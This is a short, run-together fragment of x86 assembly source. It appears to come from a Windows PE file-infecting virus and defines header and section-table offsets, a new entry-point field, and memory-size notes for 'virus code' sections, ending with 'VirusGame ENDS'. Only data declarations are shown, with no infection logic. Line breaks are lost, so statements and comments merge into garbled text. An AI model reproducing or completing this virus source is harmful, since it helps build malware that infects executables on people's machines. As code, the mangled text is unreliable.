FileNameBufferDataBuffer = $@8 = DataBufferNumberOfSections dw ?TimeDateStamp dd ?SymbolsPointer dd ?NumberOfSymbols dd ?SizeOfOptionalHeader dw ?_Characteristics dw ?Magic dw ?LinkerVersion dw ?SizeOfCode dd ?SizeOfInitializedData dd ?SizeOfUninitializedData dd ?AddressOfEntryPoint dd ?BaseOfCode dd ?BaseOfData dd ?ImageBase dd ?@9 = $SectionAlignment dd ?FileAlignment dd ?OperatingSystemVersion dd ?ImageVersion dd ?SubsystemVersion dd ?Reserved dd ?SizeOfImage dd ?SizeOfHeaders dd ?SizeOfImageHeaderToRead = $-NumberOfSectionsNewAddressOfEntryPoint = DataBuffer ; DWORDSizeOfImageHeaderToWrite= 04hStartOfSectionTable = @9SectionName = StartOfSectionTable ; QWORDVirtualSize = StartOfSectionTable+08h ; DWORDVirtualAddress = StartOfSectionTable+0ch ; DWORDSizeOfRawData = StartOfSectionTable+10h ; DWORDPointerToRawData = StartOfSectionTable+14h ; DWORDPointerToRelocations = StartOfSectionTable+18h ; DWORDPointerToLineNumbers = StartOfSectionTable+1ch ; DWORDNumberOfRelocations = StartOfSectionTable+20h ; WORDNumberOfLinenNmbers = StartOfSectionTable+22h ; WORDCharacteristics = StartOfSectionTable+24h ; DWORDSizeOfScetionTable = Characteristics+04h-SectionName; *********************************************************; * Virus Total Need Memory *; *********************************************************VirusNeedBaseMemory = $VirusTotalNeedMemory = @9; + NumberOfSections(??)*SizeOfScetionTable(28h); + SizeOfVirusCodeSectionTableEndMark(04h); + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h); + SizeOfTheFirstVirusCodeSectionTable(04h); *********************************************************VirusGame ENDS END FileHeader